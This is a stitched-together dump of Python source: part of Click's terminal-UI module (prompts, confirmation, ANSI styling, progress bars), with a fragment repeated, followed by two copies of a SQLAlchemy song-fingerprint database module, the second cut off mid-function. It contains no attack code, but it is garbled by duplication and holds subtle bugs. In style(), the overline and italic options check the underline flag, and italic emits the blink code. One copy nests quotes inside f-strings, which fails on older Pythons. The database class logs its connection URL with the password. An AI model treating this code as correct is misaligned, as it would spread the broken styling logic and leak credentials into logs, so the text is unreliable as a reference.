URL does not point to the filesystem. """ from ._termui_impl import open_url return open_url(url, wait=wait, locate=locate) # If this is provided, getchar() calls into this instead. This is used # for unittesting purposes. _getchar: t.Optional[t.Callable[[bool], str]] = None def getchar(echo: bool = False) -> str: """Fetches a single character from the terminal and returns it. This will always return a unicode character and under certain rare circumstances this might return more than one character. The situations which more than one character is returned is when for whatever reason multiple characters end up in the terminal buffer or standard input was not actually a terminal. Note that this will always read from the terminal, even if something is piped into the standard input. Note for Windows: in rare cases when typing non-ASCII characters, this function might wait for a second character and then return both at once. This is because certain Unicode characters look like special-key markers. .. versionadded:: 2.0 :param echo: if set to `True`, the character read will also show up on the terminal. The default is to not show it. """ global _getchar if _getchar is None: from ._termui_impl import getchar as f _getchar = f return _getchar(echo) def raw_terminal() -> t.ContextManager[int]: from ._termui_impl import raw_terminal as f return f() def pause(info: t.Optional[str] = None, err: bool = False) -> None: """This command stops execution and waits for the user to press any key to continue. This is similar to the Windows batch "pause" command. If the program is not run through a terminal, this command will instead do nothing. .. versionadded:: 2.0 .. versionadded:: 4.0 Added the `err` parameter. :param info: The message to print before pausing. Defaults to ``"Press any key to continue..."``. :param err: if set to message goes to ``stderr`` instead of ``stdout``, the same as with echo. """ if not isatty(sys.stdin) or not isatty(sys.stdout): return if info is None: info = _("Press any key to continue...") try: if info: echo(info, nl=False, err=err) try: getchar() except (KeyboardInterrupt, EOFError): pass finally: if info: echo(err=err)
import inspect import io import itertools import os import sys import typing import typing as t from gettext import gettext as _ from ._compat import isatty from ._compat import strip_ansi from ._compat import WIN from .exceptions import Abort from .exceptions import UsageError from .globals import resolve_color_default from .types import Choice from .types import convert_type from .types import ParamType from .utils import echo from .utils import LazyFile if t.TYPE_CHECKING: from ._termui_impl import ProgressBar V = t.TypeVar("V") # The prompt functions to use. The doc tools currently override these # functions to customize how they work. visible_prompt_func: t.Callable[[str], str] = input _ansi_colors = { "black": 30, "red": 31, "green": 32, "yellow": 33, "blue": 34, "magenta": 35, "cyan": 36, "white": 37, "reset": 39, "bright_black": 90, "bright_red": 91, "bright_green": 92, "bright_yellow": 93, "bright_blue": 94, "bright_magenta": 95, "bright_cyan": 96, "bright_white": 97, } _ansi_reset_all = "\033[0m" def hidden_prompt_func(prompt: str) -> str: import getpass return getpass.getpass(prompt) def _build_prompt( text: str, suffix: str, show_default: bool = False, default: t.Optional[t.Any] = None, show_choices: bool = True, type: t.Optional[ParamType] = None, ) -> str: prompt = text if type is not None and show_choices and isinstance(type, Choice): prompt += f" ({', '.join(map(str, type.choices))})" if default is not None and show_default: prompt = f"{prompt} [{_format_default(default)}]" return f"{prompt}{suffix}" def _format_default(default: t.Any) -> t.Any: if isinstance(default, (io.IOBase, LazyFile)) and hasattr(default, "name"): return default.name # type: ignore return default def prompt( text: str, default: t.Optional[t.Any] = None, hide_input: bool = False, confirmation_prompt: t.Union[bool, str] = False, type: t.Optional[ParamType] = None, value_proc: t.Optional[t.Callable[[str], t.Any]] = None, prompt_suffix: str = ": ", show_default: bool = True, err: bool = False, show_choices: bool = True, ) -> t.Any: """Prompts a user for input. This is a convenience function that can be used to prompt a user for input later. If the user aborts the input by sending a interrupt signal, this function will catch it and raise a :exc:`Abort` exception. :param text: the text to show for the prompt. :param default: the default value to use if no input happens. If this is not given it will prompt until it's aborted. :param hide_input: if this is set to true then the input value will be hidden. :param confirmation_prompt: Prompt a second time to confirm the value. Can be set to a string instead of ``True`` to customize the message. :param type: the type to use to check the value against. :param value_proc: if this parameter is provided it's a function that is invoked instead of the type conversion to convert a value. :param prompt_suffix: a suffix that should be added to the prompt. :param show_default: shows or hides the default value in the prompt. :param err: if set to true the file defaults to ``stderr`` instead of ``stdout``, the same as with echo. :param show_choices: Show or hide choices if the passed type is a Choice. For example if type is a Choice of either day or week, show_choices is true and text is "Group by" then the prompt will be "Group by (day, week): ". .. versionadded:: 8.0 ``confirmation_prompt`` can be a custom string. .. versionadded:: 7.0 Added the ``show_choices`` parameter. .. versionadded:: 6.0 Added unicode support for cmd.exe on Windows. .. versionadded:: 4.0 Added the `err` parameter. """ def prompt_func(text: str) -> str: f = hidden_prompt_func if hide_input else visible_prompt_func try: # Write the prompt separately so that we get nice # coloring through colorama on Windows echo(text.rstrip(" "), nl=False, err=err) # Echo a space to stdout to work around an issue where # readline causes backspace to clear the whole line. return f(" ") except (KeyboardInterrupt, EOFError): # getpass doesn't print a newline if the user aborts input with ^C. # Allegedly this behavior is inherited from getpass(3). # A doc bug has been filed at https://bugs.python.org/issue24711 if hide_input: echo(None, err=err) raise Abort() if value_proc is None: value_proc = convert_type(type, default) prompt = _build_prompt( text, prompt_suffix, show_default, default, show_choices, type ) if confirmation_prompt: if confirmation_prompt is True: confirmation_prompt = _("Repeat for confirmation") confirmation_prompt = t.cast(str, confirmation_prompt) confirmation_prompt = _build_prompt(confirmation_prompt, prompt_suffix) while True: while True: value = prompt_func(prompt) if value: break elif default is not None: value = default break try: result = value_proc(value) except UsageError as e: if hide_input: echo(_("Error: The value you entered was invalid."), err=err) else: echo(_("Error: {e.message}").format(e=e), err=err) # noqa: B306 continue if not confirmation_prompt: return result while True: confirmation_prompt = t.cast(str, confirmation_prompt) value2 = prompt_func(confirmation_prompt) if value2: break if value == value2: return result echo(_("Error: The two entered values do not match."), err=err) def confirm( text: str, default: t.Optional[bool] = False, abort: bool = False, prompt_suffix: str = ": ", show_default: bool = True, err: bool = False, ) -> bool: """Prompts for confirmation (yes/no question). If the user aborts the input by sending a interrupt signal this function will catch it and raise a :exc:`Abort` exception. :param text: the question to ask. :param default: The default value to use when no input is given. If ``None``, repeat until input is given. :param abort: if this is set to `True` a negative answer aborts the exception by raising :exc:`Abort`. :param prompt_suffix: a suffix that should be added to the prompt. :param show_default: shows or hides the default value in the prompt. :param err: if set to true the file defaults to ``stderr`` instead of ``stdout``, the same as with echo. .. versionchanged:: 8.0 Repeat until input is given if ``default`` is ``None``. .. versionadded:: 4.0 Added the ``err`` parameter. """ prompt = _build_prompt( text, prompt_suffix, show_default, "y/n" if default is None else ("Y/n" if default else "y/N"), ) while True: try: # Write the prompt separately so that we get nice # coloring through colorama on Windows echo(prompt, nl=False, err=err) value = visible_prompt_func("").lower().strip() except (KeyboardInterrupt, EOFError): raise Abort() if value in ("y", "yes"): rv = True elif value in ("n", "no"): rv = False elif default is not None and value == "": rv = default else: echo(_("Error: invalid input"), err=err) continue break if abort and not rv: raise Abort() return rv def get_terminal_size() -> os.terminal_size: """Returns the current size of the terminal as tuple in the form ``(width, height)`` in columns and rows. .. deprecated:: 8.0 Will be removed in Click 8.1. Use :func:`shutil.get_terminal_size` instead. """ import shutil import warnings warnings.warn( "'click.get_terminal_size()' is deprecated and will be removed" " in Click 8.1. Use 'shutil.get_terminal_size()' instead.", DeprecationWarning, stacklevel=2, ) return shutil.get_terminal_size() def echo_via_pager( text_or_generator: t.Union[t.Iterable[str], t.Callable[[], t.Iterable[str]], str], color: t.Optional[bool] = None, ) -> None: """This function takes a text and shows it via an environment specific pager on stdout. .. versionchanged:: 3.0 Added the `color` flag. :param text_or_generator: the text to page, or alternatively, a generator emitting the text to page. :param color: controls if the pager supports ANSI colors or not. The default is autodetection. """ color = resolve_color_default(color) if inspect.isgeneratorfunction(text_or_generator): i = t.cast(t.Callable[[], t.Iterable[str]], text_or_generator)() elif isinstance(text_or_generator, str): i = [text_or_generator] else: i = iter(t.cast(t.Iterable[str], text_or_generator)) # convert every element of i to a text type if necessary text_generator = (el if isinstance(el, str) else str(el) for el in i) from ._termui_impl import pager return pager(itertools.chain(text_generator, "\n"), color) def progressbar( iterable: t.Optional[t.Iterable[V]] = None, length: t.Optional[int] = None, label: t.Optional[str] = None, show_eta: bool = True, show_percent: t.Optional[bool] = None, show_pos: bool = False, item_show_func: t.Optional[t.Callable[[t.Optional[V]], t.Optional[str]]] = None, fill_char: str = "#", empty_char: str = "-", bar_template: str = "%(label)s [%(bar)s] %(info)s", info_sep: str = " ", width: int = 36, file: t.Optional[t.TextIO] = None, color: t.Optional[bool] = None, update_min_steps: int = 1, ) -> "ProgressBar[V]": """This function creates an iterable context manager that can be used to iterate over something while showing a progress bar. It will either iterate over the `iterable` or `length` items (that are counted up). While iteration happens, this function will print a rendered progress bar to the given `file` (defaults to stdout) and will attempt to calculate remaining time and more. By default, this progress bar will not be rendered if the file is not a terminal. The context manager creates the progress bar. When the context manager is entered the progress bar is already created. With every iteration over the progress bar, the iterable passed to the bar is advanced and the bar is updated. When the context manager exits, a newline is printed and the progress bar is finalized on screen. Note: The progress bar is currently designed for use cases where the total progress can be expected to take at least several seconds. Because of this, the ProgressBar class object won't display progress that is considered too fast, and progress where the time between steps is less than a second. No printing must happen or the progress bar will be unintentionally destroyed. Example usage:: with progressbar(items) as bar: for item in bar: do_something_with(item) Alternatively, if no iterable is specified, one can manually update the progress bar through the `update()` method instead of directly iterating over the progress bar. The update method accepts the number of steps to increment the bar with:: with progressbar(length=chunks.total_bytes) as bar: for chunk in chunks: process_chunk(chunk) bar.update(chunks.bytes) The ``update()`` method also takes an optional value specifying the ``current_item`` at the new position. This is useful when used together with ``item_show_func`` to customize the output for each manual step:: with click.progressbar( length=total_size, label='Unzipping archive', item_show_func=lambda a: a.filename ) as bar: for archive in zip_file: archive.extract() bar.update(archive.size, archive) :param iterable: an iterable to iterate over. If not provided the length is required. :param length: the number of items to iterate over. By default the progressbar will attempt to ask the iterator about its length, which might or might not work. If an iterable is also provided this parameter can be used to override the length. If an iterable is not provided the progress bar will iterate over a range of that length. :param label: the label to show next to the progress bar. :param show_eta: enables or disables the estimated time display. This is automatically disabled if the length cannot be determined. :param show_percent: enables or disables the percentage display. The default is `True` if the iterable has a length or `False` if not. :param show_pos: enables or disables the absolute position display. The default is `False`. :param item_show_func: A function called with the current item which can return a string to show next to the progress bar. If the function returns ``None`` nothing is shown. The current item can be ``None``, such as when entering and exiting the bar. :param fill_char: the character to use to show the filled part of the progress bar. :param empty_char: the character to use to show the non-filled part of the progress bar. :param bar_template: the format string to use as template for the bar. The parameters in it are ``label`` for the label, ``bar`` for the progress bar and ``info`` for the info section. :param info_sep: the separator between multiple info items (eta etc.) :param width: the width of the progress bar in characters, 0 means full terminal width :param file: The file to write to. If this is not a terminal then only the label is printed. :param color: controls if the terminal supports ANSI colors or not. The default is autodetection. This is only needed if ANSI codes are included anywhere in the progress bar output which is not the case by default. :param update_min_steps: Render only when this many updates have completed. This allows tuning for very fast iterators. .. versionchanged:: 8.0 Output is shown even if execution time is less than 0.5 seconds. .. versionchanged:: 8.0 ``item_show_func`` shows the current item, not the previous one. .. versionchanged:: 8.0 Labels are echoed if the output is not a TTY. Reverts a change in 7.0 that removed all output. .. versionadded:: 8.0 Added the ``update_min_steps`` parameter. .. versionchanged:: 4.0 Added the ``color`` parameter. Added the ``update`` method to the object. .. versionadded:: 2.0 """ from ._termui_impl import ProgressBar color = resolve_color_default(color) return ProgressBar( iterable=iterable, length=length, show_eta=show_eta, show_percent=show_percent, show_pos=show_pos, item_show_func=item_show_func, fill_char=fill_char, empty_char=empty_char, bar_template=bar_template, info_sep=info_sep, file=file, label=label, width=width, color=color, update_min_steps=update_min_steps, ) def clear() -> None: """Clears the terminal screen. This will have the effect of clearing the whole visible space of the terminal and moving the cursor to the top left. This does not do anything if not connected to a terminal. .. versionadded:: 2.0 """ if not isatty(sys.stdout): return if WIN: os.system("cls") else: sys.stdout.write("\033[2J\033[1;1H") def _interpret_color( color: t.Union[int, t.Tuple[int, int, int], str], offset: int = 0 ) -> str: if isinstance(color, int): return f"{38 + offset};5;{color:d}" if isinstance(color, (tuple, list)): r, g, b = color return f"{38 + offset};2;{r:d};{g:d};{b:d}" return str(_ansi_colors[color] + offset) def style( text: t.Any, fg: t.Optional[t.Union[int, t.Tuple[int, int, int], str]] = None, bg: t.Optional[t.Union[int, t.Tuple[int, int, int], str]] = None, bold: t.Optional[bool] = None, dim: t.Optional[bool] = None, underline: t.Optional[bool] = None, overline: t.Optional[bool] = None, italic: t.Optional[bool] = None, blink: t.Optional[bool] = None, reverse: t.Optional[bool] = None, strikethrough: t.Optional[bool] = None, reset: bool = True, ) -> str: """Styles a text with ANSI styles and returns the new string. By default the styling is self contained which means that at the end of the string a reset code is issued. This can be prevented by passing ``reset=False``. Examples:: click.echo(click.style('Hello World!', fg='green')) click.echo(click.style('ATTENTION!', blink=True)) click.echo(click.style('Some things', reverse=True, fg='cyan')) click.echo(click.style('More colors', fg=(255, 12, 128), bg=117)) Supported color names: * ``black`` (might be a gray) * ``red`` * ``green`` * ``yellow`` (might be an orange) * ``blue`` * ``magenta`` * ``cyan`` * ``white`` (might be light gray) * ``bright_black`` * ``bright_red`` * ``bright_green`` * ``bright_yellow`` * ``bright_blue`` * ``bright_magenta`` * ``bright_cyan`` * ``bright_white`` * ``reset`` (reset the color code only) If the terminal supports it, color may also be specified as: - An integer in the interval [0, 255]. The terminal must support 8-bit/256-color mode. - An RGB tuple of three integers in [0, 255]. The terminal must support 24-bit/true-color mode. See https://en.wikipedia.org/wiki/ANSI_color and https://gist.github.com/XVilka/8346728 for more information. :param text: the string to style with ansi codes. :param fg: if provided this will become the foreground color. :param bg: if provided this will become the background color. :param bold: if provided this will enable or disable bold mode. :param dim: if provided this will enable or disable dim mode. This is badly supported. :param underline: if provided this will enable or disable underline. :param overline: if provided this will enable or disable overline. :param italic: if provided this will enable or disable italic. :param blink: if provided this will enable or disable blinking. :param reverse: if provided this will enable or disable inverse rendering (foreground becomes background and the other way round). :param strikethrough: if provided this will enable or disable striking through text. :param reset: by default a reset-all code is added at the end of the string which means that styles do not carry over. This can be disabled to compose styles. .. versionchanged:: 8.0 A non-string ``message`` is converted to a string. .. versionchanged:: 8.0 Added support for 256 and RGB color codes. .. versionchanged:: 8.0 Added the ``strikethrough``, ``italic``, and ``overline`` parameters. .. versionchanged:: 7.0 Added support for bright colors. .. versionadded:: 2.0 """ if not isinstance(text, str): text = str(text) bits = [] if fg: try: bits.append(f"\033[{_interpret_color(fg)}m") except KeyError: raise TypeError(f"Unknown color {fg!r}") if bg: try: bits.append(f"\033[{_interpret_color(bg, 10)}m") except KeyError: raise TypeError(f"Unknown color {bg!r}") if bold is not None: bits.append(f"\033[{1 if bold else 22}m") if dim is not None: bits.append(f"\033[{2 if dim else 22}m") if underline is not None: bits.append(f"\033[{4 if underline else 24}m") if overline is not None: bits.append(f"\033[{53 if underline else 55}m") if italic is not None: bits.append(f"\033[{5 if underline else 23}m") if blink is not None: bits.append(f"\033[{5 if blink else 25}m") if reverse is not None: bits.append(f"\033[{7 if reverse else 27}m") if strikethrough is not None: bits.append(f"\033[{9 if strikethrough else 29}m") bits.append(text) if reset: bits.append(_ansi_reset_all) return "".join(bits) def unstyle(text: str) -> str: """Removes ANSI styling information from a string. Usually it's not necessary to use this function as Click's echo function will automatically remove styling if necessary. .. versionadded:: 2.0 :param text: the text to remove style information from. """ return strip_ansi(text) def secho( message: t.Optional[t.Any] = None, file: t.Optional[t.IO] = None, nl: bool = True, err: bool = False, color: t.Optional[bool] = None, **styles: t.Any, ) -> None: """This function combines :func:`echo` and :func:`style` into one call. As such the following two calls are the same:: click.secho('Hello World!', fg='green') click.echo(click.style('Hello World!', fg='green')) All keyword arguments are forwarded to the underlying functions depending on which one they go with. Non-string types will be converted to :class:`str`. However, :class:`bytes` are passed directly to :meth:`echo` without applying style. If you want to style bytes that represent text, call :meth:`bytes.decode` first. .. versionchanged:: 8.0 A non-string ``message`` is converted to a string. Bytes are passed through without style applied. .. versionadded:: 2.0 """ if message is not None and not isinstance(message, (bytes, bytearray)): message = style(message, **styles) return echo(message, file=file, nl=nl, err=err, color=color) def edit( text: t.Optional[t.AnyStr] = None, editor: t.Optional[str] = None, env: t.Optional[t.Mapping[str, str]] = None, require_save: bool = True, extension: str = ".txt", filename: t.Optional[str] = None, ) -> t.Optional[t.AnyStr]: r"""Edits the given text in the defined editor. If an editor is given (should be the full path to the executable but the regular operating system search path is used for finding the executable) it overrides the detected editor. Optionally, some environment variables can be used. If the editor is closed without changes, `None` is returned. In case a file is edited directly the return value is always `None` and `require_save` and `extension` are ignored. If the editor cannot be opened a :exc:`UsageError` is raised. Note for Windows: to simplify cross-platform usage, the newlines are automatically converted from POSIX to Windows and vice versa. As such, the message here will have ``\n`` as newline markers. :param text: the text to edit. :param editor: optionally the editor to use. Defaults to automatic detection. :param env: environment variables to forward to the editor. :param require_save: if this is true, then not saving in the editor will make the return value become `None`. :param extension: the extension to tell the editor about. This defaults to `.txt` but changing this might change syntax highlighting. :param filename: if provided it will edit this file instead of the provided text contents. It will not use a temporary file as an indirection in that case. """ from ._termui_impl import Editor ed = Editor(editor=editor, env=env, require_save=require_save, extension=extension) if filename is None: return ed.edit(text) ed.edit_file(filename) return None def launch(url: str, wait: bool = False, locate: bool = False) -> int: """This function launches the given URL (or filename) in the default viewer application for this file type. If this is an executable, it might launch the executable in a new session. The return value is the exit code of the launched application. Usually, ``0`` indicates success. Examples:: click.launch('https://click.palletsprojects.com/') click.launch('/my/downloaded/file', locate=True) .. versionadded:: 2.0 :param url: URL or filename of the thing to launch. :param wait: Wait for the program to exit before returning. This only works if the launched program blocks. In particular, ``xdg-open`` on Linux does not block. :param locate: if this is set to `True` then instead of launching the application associated with the URL it will attempt to launch a file manager with the file located. This might have weird effects if the URL does not point to the filesystem. """ from ._termui_impl import open_url return open_url(url, wait=wait, locate=locate) # If this is provided, getchar() calls into this instead. This is used # for unittesting purposes. _getchar: t.Optional[t.Callable[[bool], str]] = None def getchar(echo: bool = False) -> str: """Fetches a single character from the terminal and returns it. This will always return a unicode character and under certain rare circumstances this might return more than one character. The situations which more than one character is returned is when for whatever reason multiple characters end up in the terminal buffer or standard input was not actually a terminal. Note that this will always read from the terminal, even if something is piped into the standard input. Note for Windows: in rare cases when typing non-ASCII characters, this function might wait for a second character and then return both at once. This is because certain Unicode characters look like special-key markers. .. versionadded:: 2.0 :param echo: if set to `True`, the character read will also show up on the terminal. The default is to not show it. """ global _getchar if _getchar is None: from ._termui_impl import getchar as f _getchar = f return _getchar(echo) def raw_terminal() -> t.ContextManager[int]: from ._termui_impl import raw_terminal as f return f() def pause(info: t.Optional[str] = None, err: bool = False) -> None: """This command stops execution and waits for the user to press any key to continue. This is similar to the Windows batch "pause" command. If the program is not run through a terminal, this command will instead do nothing. .. versionadded:: 2.0 .. versionadded:: 4.0 Added the `err` parameter. :param info: The message to print before pausing. Defaults to ``"Press any key to continue..."``. :param err: if set to message goes to ``stderr`` instead of ``stdout``, the same as with echo. """ if not isatty(sys.stdin) or not isatty(sys.stdout): return if info is None: info = _("Press any key to continue...") try: if info: echo(info, nl=False, err=err) try: getchar() except (KeyboardInterrupt, EOFError): pass finally: if info: echo(err=err)
import asyncio import logging import time import sqlalchemy from .schema import Base, Fingerprint, Song def database_obj_to_py(obj, fingerprints_in_song=False): """ Recursively convert Fingerprint and Song sqlalchemy objects to native Python types (lists and dicts). Args: obj (database.schema.Fingerprint|database.schema.Song): ``audio`` module Fingerprint or Song object. fingerprints_in_song (bool): Include each song's fingerprints as a list within the song dict. Returns: py_obj: list|dict """ if isinstance(obj, list): return [ database_obj_to_py(elem, fingerprints_in_song=fingerprints_in_song) for elem in obj ] elif isinstance(obj, Song): song = { "id": obj.id, "duration": obj.duration, "filehash": obj.filehash, "filepath": obj.filepath, "title": obj.title, "youtube_id": obj.youtube_id, } if fingerprints_in_song: song["fingerprints"] = [ database_obj_to_py(fp) for fp in obj.fingerprints ] song["num_fingerprints"] = len(obj.fingerprints) return song elif isinstance(obj, Fingerprint): return { "song_id": obj.song_id, "hash": obj.hash, "offset": obj.offset, } else: raise ValueError("Unsupported object") def _threadsafe_add_fingerprints(db_kwargs, song): logging.info(f"Adding {song["path"]} to database...") db = Database(**db_kwargs) song_id = db.add_song( duration=song.get("duration"), filepath=song.get("path"), filehash=song.get("filehash"), title=song.get("title"), youtube_id=song.get("youtube_id") ) db.add_fingerprints(song_id, song["fingerprints"]) del db del song["fingerprints"] # TODO: delete files after fingerprinting async def _update_database(song, loop, executor, db_kwargs): start_t = time.time() delete_file = False try: if "delete" in song: delete_file = True await loop.run_in_executor( executor, _threadsafe_add_fingerprints, db_kwargs, song ) elapsed = time.time() - start_t logging.info(f"Added {song["path"]} to database ({elapsed:.2f} s)") except Exception as e: logging.error(f"Error adding {song["path"]} to database ({str(e)})") finally: if delete_file: logging.info(f"Deleting file {song["path"]}") # TODO delete song # TODO: handle song already existing in database async def update_database(loop, executor, db_kwargs, in_queue): """ Consume fingerprinted songs from an async input queue and add the songs and their fingerprints to the database either concurrently (via a thread pool) or in parallel (via a process pool). Args: loop (asyncio.BaseEventLoop): asyncio EventLoop. executor (concurrent.futures.Executor): `concurrent.futures` ThreadPoolExecutor or ProcessPoolExecutor in which the database connection will be created to update the database. db_kwargs (dict): Dict containing keyword args for instantiating a :class:`Database` object. in_queue (asyncio.queues.Queue): Database queue containing song dicts representing songs (and their fingerprints) to be added to the database. """ start_t = time.time() tasks = [] while True: song = await in_queue.get() if song is None: break task = loop.create_task( _update_database(song, loop, executor, db_kwargs) ) tasks.append(task) # Wrap asyncio.wait() in if statement to avoid ValueError if no tasks. if tasks: await asyncio.wait(tasks) elapsed = time.time() - start_t logging.info(f"All songs added to database ({elapsed:.2f} s)") # TODO: try/except, db rollbacks class Database: """ Class that holds a database connection to perform read/update/delete operations. """ def __init__( self, user, password, db_name, host="localhost", port=None, dialect="postgresql", driver=None ): """ Constructs a sqlalchemy database URL of the form `dialect+driver://username:password@host:port/db_name` to create a sqlalchemy database engine. Refer to `SQLAlchemy Database URLs`_. Args: user (str): User name. password (str): User password. db_name (str): Database name. host (str): Database hostname. port (int): Port on ``host``. dialect (str): SQL database dialect to use. See `SQLAlchemy Dialects`_. driver (str): SQL database driver to use. See `SQLAlchemy Database URLs`_. .. _`SQLAlchemy Dialects`: https://docs.sqlalchemy.org/en/13/dialects/ .. _`SQLAlchemy Database URLs`: https://docs.sqlalchemy.org/en/13/core/engines.html#database-urls """ # TODO: check/add sqlite support. # Construct database URL. driver = f"+{driver}" if driver else "" port = f":{port}" if port is not None else "" # MySQL requires localhost to be specified as 127.0.0.1 to correctly # use TCP. if dialect == "mysql" and host == "localhost": host = "127.0.0.1" url = f"{dialect}{driver}://{user}:{password}@{host}{port}/{db_name}" logging.debug(f"Connecting to database URL {url}") engine = sqlalchemy.create_engine(url) Session = sqlalchemy.orm.sessionmaker(engine) self.session = Session() Base.metadata.create_all(engine) self.base = Base self.engine = engine def __del__(self): self.session.close() def add_song( self, duration=None, filepath=None, filehash=None, title=None, youtube_id=None ): """ Args: duration (float): Song duration. filepath (str): Path to file on local machine. filehash (str): File hash. title (str): Song title. youtube_id (str): YouTube ID, i.e., watch?v=<youtube_id>. Returns: int: id of the inserted song. """ new_song = Song( duration=duration, filepath=filepath, filehash=filehash, title=title, youtube_id=youtube_id ) self.session.add(new_song) self.session.commit() return new_song.id def add_fingerprint(self, song_id, hash_, offset): """ Args: song_id (int): Song id corresponding to song in the Song table. hash_ (str): Fingerprint hash. offset (float): Fingerprint offset. Returns: int: id of the inserted fingerprint. """ new_fingerprint = Fingerprint( song_id=song_id, hash=hash_, offset=offset ) self.session.add(new_fingerprint) self.session.commit() return new_fingerprint.id def add_fingerprints(self, song_id, fingerprints): """ Args: song_id (int): Song table song id the fingerprints correspond to. fingerprints (List[tuple]): A list of (hash, offset) fingerprints. """ new_fingerprints = [ Fingerprint(song_id=song_id, hash=hash_, offset=offset) for hash_, offset in fingerprints ] self.session.bulk_save_objects(new_fingerprints) self.session.commit() def as_dict(self, combine_tables=False): """ Return the database as a Python dictionary. See :func:`database_obj_to_py`. Args: combine_tables (bool): If True, the returned dict will have a single ``songs`` field containing a list of songs, and each song will have a ``fingerprints`` field containing the list of fingerprints belonging to it. If False, the returned dict will contain a ``songs`` field and a ``fingerprints`` field. Returns: dict: tables Dict containing database Fingerprint and Song tables:: { "songs": list, "fingerprints": list } If ``combine_tables=True``, the returned dict will not contain a ``fingerprints`` key. """ songs_table = self.session.query(Song).all() fingerprints_table = self.session.query(Fingerprint).all() if combine_tables: return { "songs": database_obj_to_py(songs_table, fingerprints_in_song=True), } else: return { "songs": database_obj_to_py(songs_table), "fingerprints": database_obj_to_py(fingerprints_table), } def delete_all(self): """ Delete all rows in the Fingerprint and Song tables. """ self.session.query(Fingerprint).delete() self.session.query(Song).delete() self.session.commit() def _drop_tables(self, tables): self.base.metadata.drop_all(bind=self.engine, tables=tables) self.session.commit() def drop_all_tables(self): """ Drop Fingerprint and Song tables. """ self._drop_tables([Fingerprint.__table__, Song.__table__]) def drop_song_table(self): """ Drop Song table. """ self._drop_tables([Song.__table__]) def drop_fingerprint_table(self): """ Drop Fingerprint table. """ self._drop_tables([Fingerprint.__table__]) def query_fingerprints(self, hashes): """ Query the database for a list of matching hashes. Args: hashes (str|List[str]): Hash or list of hashes from a fingerprinted audio signal. Returns: fingerprints: list A list of fingerprints whose hashes match the input hashes. Each fingerprint is a dict containing the hash, song id, and offset (in seconds):: { "song_id": int, "hash": str, "offset": float } """ # Perform query; this is the equivalent of # SELECT * FROM fingerprint WHERE fingerprint.hash IN (`hashes`) query = self.session.query(Fingerprint).filter( Fingerprint.hash.in_(hashes) ) return database_obj_to_py(query.all()) def query_songs( self, id_=None, duration=None, duration_greater_than=None, duration_less_than=None, filehash=None, filepath=None, title=None, youtube_id=None, include_fingerprints=False ): """ Query the database for songs matching the specified criteria. Args: id_ (list|int): Int or list of ints corresponding to the id primary key field of the database Song table. duration (list|float): Float or list of floats corresponding to the duration field of the database Song table. duration_greater_than (float): Only return songs with a duration greater than this value, if one is specified. duration_less_than (float): Only return songs with a duration less than this value, if one is specified. filehash (list|str): A filehash or list of filehashes corresponding to the filehash field of the database Song table. filepath (list|str): A filepath or list of filepaths corresponding to the filepath field of the database Song table. title (list|str): A title or list of titles corresponding to the title field of the database Song table. youtube_id (list|str): A YouTube id or list of YouTube ids corresponding to the youtube_id field of the databse Song table. include_fingerprints (bool): Include the fingerprints of each song as a list within the dict corresponding to the song; see :meth:`query_fingerprints`. Returns: results: List[dict] A list of dicts where each dict represents a song and contains the following keys:: { "id": int, "duration": float, "filehash": str, "filepath": str, "title": str, "youtube_id" str, "fingerprints": list[dict], "num_fingerprints": int } The ``fingerprints`` and ``num_fingerprints`` keys are only included if ``include_fingerprints=True``. Raises: ValueError: if more than one of ``duration``, ``duration_greater_than``, or ``duration_less_than`` are supplied. """ duration_args_bool = [ duration is not None, duration_greater_than is not None, duration_less_than is not None ] if sum(duration_args_bool) > 1: raise ValueError( "Can only choose one of duration, duration_greater_than, " "or duration_less_than" ) query = self.session.query(Song) if duration is not None: query = query.filter(Song.duration == duration) elif duration_greater_than is not None: query = query.filter(Song.duration > duration_greater_than) elif duration_less_than is not None: query = query.filter(Song.duration < duration_less_than) # Handle remaining non-duration args separately. other_args = { "id": id_, "filehash": filehash, "filepath": filepath, "title": title, "youtube_id": youtube_id, } # Make the Song sqlalchemy DeclarativeMeta a dict so we can iterate # over its attributes. Song_ = vars(Song) for arg, val in other_args.items(): if val is not None: if not isinstance(val, (list, tuple)): val = [val] query = query.filter(Song_[arg].in_(val)) return database_obj_to_py( query.all(), fingerprints_in_song=include_fingerprints )
import asyncio import logging import time import sqlalchemy from .schema import Base, Fingerprint, Song def database_obj_to_py(obj, fingerprints_in_song=False): """ Recursively convert Fingerprint and Song sqlalchemy objects to native Python types (lists and dicts). Args: obj (database.schema.Fingerprint|database.schema.Song): ``audio`` module Fingerprint or Song object. fingerprints_in_song (bool): Include each song's fingerprints as a list within the song dict. Returns: py_obj: list|dict """ if isinstance(obj, list): return [ database_obj_to_py(elem, fingerprints_in_song=fingerprints_in_song) for elem in obj ] elif isinstance(obj, Song): song = { "id": obj.id, "duration": obj.duration, "filehash": obj.filehash, "filepath": obj.filepath, "title": obj.title, "youtube_id": obj.youtube_id, } if fingerprints_in_song: song["fingerprints"] = [ database_obj_to_py(fp) for fp in obj.fingerprints ] song["num_fingerprints"] = len(obj.fingerprints) return song elif isinstance(obj, Fingerprint): return { "song_id": obj.song_id, "hash": obj.hash, "offset": obj.offset, } else: raise ValueError("Unsupported object") def _threadsafe_add_fingerprints(db_kwargs, song): logging.info(f"Adding {song['path']} to database...") db = Database(**db_kwargs) song_id = db.add_song( duration=song.get("duration"), filepath=song.get("path"), filehash=song.get("filehash"), title=song.get("title"), youtube_id=song.get("youtube_id") ) db.add_fingerprints(song_id, song["fingerprints"]) del db del song["fingerprints"] # TODO: delete files after fingerprinting async def _update_database(song, loop, executor, db_kwargs): start_t = time.time() delete_file = False try: if "delete" in song: delete_file = True await loop.run_in_executor( executor, _threadsafe_add_fingerprints, db_kwargs, song ) elapsed = time.time() - start_t logging.info(f"Added {song['path']} to database ({elapsed:.2f} s)") except Exception as e: logging.error(f"Error adding {song['path']} to database ({str(e)})") finally: if delete_file: logging.info(f"Deleting file {song['path']}") # TODO delete song # TODO: handle song already existing in database async def update_database(loop, executor, db_kwargs, in_queue): """ Consume fingerprinted songs from an async input queue and add the songs and their fingerprints to the database either concurrently (via a thread pool) or in parallel (via a process pool). Args: loop (asyncio.BaseEventLoop): asyncio EventLoop. executor (concurrent.futures.Executor): `concurrent.futures` ThreadPoolExecutor or ProcessPoolExecutor in which the database connection will be created to update the database. db_kwargs (dict): Dict containing keyword args for instantiating a :class:`Database` object. in_queue (asyncio.queues.Queue): Database queue containing song dicts representing songs (and their fingerprints) to be added to the database. """ start_t = time.time() tasks = [] while True: song = await in_queue.get() if song is None: break task = loop.create_task( _update_database(song, loop, executor, db_kwargs) ) tasks.append(task) # Wrap asyncio.wait() in if statement to avoid ValueError if no tasks. if 